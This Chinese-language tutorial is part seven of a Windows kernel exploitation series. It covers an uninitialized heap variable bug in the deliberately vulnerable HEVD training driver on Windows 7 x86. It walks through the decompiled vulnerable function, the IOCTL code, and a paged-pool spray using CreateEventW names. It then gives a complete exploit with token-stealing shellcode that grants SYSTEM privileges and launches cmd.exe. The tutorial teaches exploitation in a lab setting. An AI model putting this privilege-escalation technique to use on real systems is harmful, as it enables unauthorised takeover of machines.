Windows Kernel Exploit(七) -> Uninitialized-Heap-Variable
字数 1063 2025-08-04 08:17:33

Windows内核漏洞利用:未初始化堆变量漏洞分析与利用

0x00 前言

本教程是Windows内核漏洞利用系列的第七篇,专注于未初始化堆变量漏洞的分析与利用。在学习本教程前,建议读者已经掌握以下内容:

  • Windows 7 x86 sp1内核漏洞利用基础知识
  • Windbg等调试工具的使用
  • HEVD (HackSys Extreme Vulnerable Driver) 和 OSR Loader的配置使用

建议先阅读本系列前六篇文章:

  1. UAF (Use-After-Free)
  2. StackOverflow
  3. Write-What-Where
  4. PoolOverflow
  5. Null-Pointer-Dereference
  6. Uninitialized-Stack-Variable

0x01 漏洞原理

漏洞代码分析

我们首先分析HEVD.sys中的TriggerUninitializedHeapVariable函数:

int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer) {
    int result;
    int UserValue;
    _UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable;
    CPPEH_RECORD ms_exc;
    
    ms_exc.registration.TryLevel = 0;
    ProbeForRead(UserBuffer, 0xF0u, 4u);
    UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
    
    if (UninitializedHeapVariable) {
        DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
        DbgPrint("[+] Pool Type: %s\n", "PagedPool");
        DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
        DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
        
        UserValue = *(_DWORD *)UserBuffer;
        DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
        DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
        
        if (UserValue == 0xBAD0B0B0) {
            UninitializedHeapVariable->Value = 0xBAD0B0B0;
            UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
            memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
            UninitializedHeapVariable->Buffer[0x39] = 0;
        }
        
        DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
        if (UninitializedHeapVariable) {
            DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
            DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
            UninitializedHeapVariable->Callback();
        }
        result = 0;
    } else {
        DbgPrint("[-] Unable to allocate Pool chunk\n");
        ms_exc.registration.TryLevel = 0xFFFFFFFE;
        result = 0xC0000017;
    }
    return result;
}

安全与不安全版本对比

安全版本:

else {
    DbgPrint("[+] Freeing UninitializedMemory Object\n");
    DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
    DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
    
    // Free the allocated Pool chunk
    ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
    
    // Secure Note: This is secure because the developer is setting 'UninitializedMemory'
    // to NULL and checks for NULL pointer before calling the callback
    UninitializedMemory = NULL;
}

不安全版本:

// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");

// Call the callback function
if (UninitializedMemory) {
    DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
    DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
    UninitializedMemory->Callback();
}

漏洞结构体

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG_PTR Value;
    FunctionPointer Callback;
    ULONG_PTR Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

0x02 漏洞利用

控制码分析

在HackSysExtremeVulnerableDriver.h中定位到相应的定义:

#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)

计算控制码:

>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'

基础测试代码

#include <stdio.h>
#include <Windows.h>

HANDLE hDevice = NULL;

BOOL init() {
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    
    printf("[+]Start to get HANDLE...\n");
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
        return FALSE;
    }
    printf("[+]Success to get HANDLE!\n");
    return TRUE;
}

VOID Trigger_shellcode() {
    DWORD bReturn = 0;
    char buf[4] = {0};
    *(PDWORD32)(buf) = 0xBAD0B0B0;
    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main() {
    if (init() == FALSE) {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
    Trigger_shellcode();
    system("pause");
    return 0;
}

堆喷射技术

我们需要利用堆喷射技术来控制回调函数指针。这里使用CreateEventA/W函数的lpName参数进行喷射:

HANDLE CreateEventA(
    LPSECURITY_ATTRIBUTES lpEventAttributes,
    BOOL bManualReset,
    BOOL bInitialState,
    LPCSTR lpName
);

关键点:

  1. lpName参数分配在分页池中
  2. 每个lpName必须不同,否则会被视为同一个池
  3. 池大小为0xF0(加上header为0xF8)

Windows 7 Lookaside Lists结构

typedef struct _GENERAL_LOOKASIDE_POOL {
    union {
        union _SLIST_HEADER ListHead;
        struct _SINGLE_LIST_ENTRY SingleListHead;
    };
    UINT16 Depth;
    UINT16 MaximumDepth;
    ULONG32 TotalAllocates;
    union {
        ULONG32 AllocateMisses;
        ULONG32 AllocateHits;
    };
    ULONG32 TotalFrees;
    union {
        ULONG32 FreeMisses;
        ULONG32 FreeHits;
    };
    enum _POOL_TYPE Type;
    ULONG32 Tag;
    ULONG32 Size;
    union {
        PVOID AllocateEx;
        PVOID Allocate;
    };
    union {
        PVOID FreeEx;
        PVOIDFree;
    };
    struct _LIST_ENTRY ListEntry;
    ULONG32 LastTotalAllocates;
    union {
        ULONG32 LastAllocateMisses;
        ULONG32 LastAllocateHits;
    };
    ULONG32 Future[2];
} GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;

完整利用代码

#include <stdio.h>
#include <Windows.h>

HANDLE hDevice = NULL;
HANDLE Event_OBJECT[256] = {0};

BOOL init() {
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
        return FALSE;
    }
    return TRUE;
}

VOID ShellCode() {
    __asm {
        pushad
        mov eax, fs:[0x124]    // Get _KTHREAD from KPCR
        mov eax, [eax + 0x50]   // Get _EPROCESS from _KTHREAD
        mov ecx, eax            // Copy _EPROCESS to ECX
        mov edx, 4              // EDX = system PID (4)
        
    SearchSystemPID:
        mov eax, [eax + 0xb8]   // Get _EPROCESS.ActiveProcessLinks.Flink
        sub eax, 0xb8           // Get next _EPROCESS
        cmp [eax + 0xb4], edx   // Compare PID
        jne SearchSystemPID
        
        mov edx, [eax + 0xfc]   // Get SYSTEM token
        mov [ecx + 0xfc], edx   // Copy SYSTEM token to current process
        popad
        xor eax, eax            // Set NTSTATUS SUCCESS
        ret                     // Return
    }
}

VOID Trigger_shellcode() {
    DWORD bReturn = 0;
    char buf[4] = {0};
    char lpName[0xF0] = {0};
    
    // 堆喷射准备
    for (int i = 0; i < 256; i++) {
        *(PDWORD)(lpName + 0x4) = (DWORD)&ShellCode;
        *(PDWORD)(lpName + 0xf0 - 4) = 0;
        *(PDWORD)(lpName + 0xf0 - 3) = 0;
        *(PDWORD)(lpName + 0xf0 - 2) = 0;
        *(PDWORD)(lpName + 0xf0 - 1) = i;
        
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);
    }
    
    // 触发漏洞
    *(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
    DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}

int main() {
    if (init() == FALSE) {
        printf("[+]Failed to get HANDLE!!!\n");
        system("pause");
        return 0;
    }
    
    Trigger_shellcode();
    
    // 提权后启动cmd
    system("cmd.exe");
    
    // 清理
    for (int i = 0; i < 256; i++) {
        if (Event_OBJECT[i] != NULL) {
            CloseHandle(Event_OBJECT[i]);
        }
    }
    
    if (hDevice != NULL) {
        CloseHandle(hDevice);
    }
    
    return 0;
}

0x03 调试与分析

关键调试命令

  1. 查看池布局:

    !pool 0x909FE380
    
  2. 查看shellcode位置:

    u 0x00371040
    
  3. 查看回调函数指针:

    dd 0x909FE380+4
    

预期输出

成功利用时,调试器输出应类似:

****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE
Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x909FE380
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x97E80AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0x00371040

0x04 总结

本教程详细分析了Windows内核中未初始化堆变量漏洞的原理和利用方法,关键点包括:

  1. 理解未初始化堆变量漏洞的本质
  2. 掌握Windows 7下的Lookaside Lists结构
  3. 使用CreateEventW进行堆喷射的技术
  4. 通过控制回调函数指针实现提权

建议进一步阅读:

  • Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》
  • Windows内核池分配机制相关文档
  • HEVD驱动其他漏洞类型的分析

通过本系列教程的学习,读者应该已经掌握了Windows 7下常见内核漏洞类型的利用方法,为进一步研究现代Windows系统安全打下了坚实基础。

Windows内核漏洞利用:未初始化堆变量漏洞分析与利用 0x00 前言 本教程是Windows内核漏洞利用系列的第七篇,专注于未初始化堆变量漏洞的分析与利用。在学习本教程前,建议读者已经掌握以下内容: Windows 7 x86 sp1内核漏洞利用基础知识 Windbg等调试工具的使用 HEVD (HackSys Extreme Vulnerable Driver) 和 OSR Loader的配置使用 建议先阅读本系列前六篇文章: UAF (Use-After-Free) StackOverflow Write-What-Where PoolOverflow Null-Pointer-Dereference Uninitialized-Stack-Variable 0x01 漏洞原理 漏洞代码分析 我们首先分析HEVD.sys中的 TriggerUninitializedHeapVariable 函数: 安全与不安全版本对比 安全版本: 不安全版本: 漏洞结构体 0x02 漏洞利用 控制码分析 在HackSysExtremeVulnerableDriver.h中定位到相应的定义: 计算控制码: 基础测试代码 堆喷射技术 我们需要利用堆喷射技术来控制回调函数指针。这里使用 CreateEventA/W 函数的 lpName 参数进行喷射: 关键点: lpName 参数分配在分页池中 每个 lpName 必须不同,否则会被视为同一个池 池大小为0xF0(加上header为0xF8) Windows 7 Lookaside Lists结构 完整利用代码 0x03 调试与分析 关键调试命令 查看池布局: 查看shellcode位置: 查看回调函数指针: 预期输出 成功利用时,调试器输出应类似: 0x04 总结 本教程详细分析了Windows内核中未初始化堆变量漏洞的原理和利用方法,关键点包括: 理解未初始化堆变量漏洞的本质 掌握Windows 7下的Lookaside Lists结构 使用 CreateEventW 进行堆喷射的技术 通过控制回调函数指针实现提权 建议进一步阅读: Tarjei Mandt的《Kernel Pool Exploitation on Windows 7》 Windows内核池分配机制相关文档 HEVD驱动其他漏洞类型的分析 通过本系列教程的学习,读者应该已经掌握了Windows 7下常见内核漏洞类型的利用方法,为进一步研究现代Windows系统安全打下了坚实基础。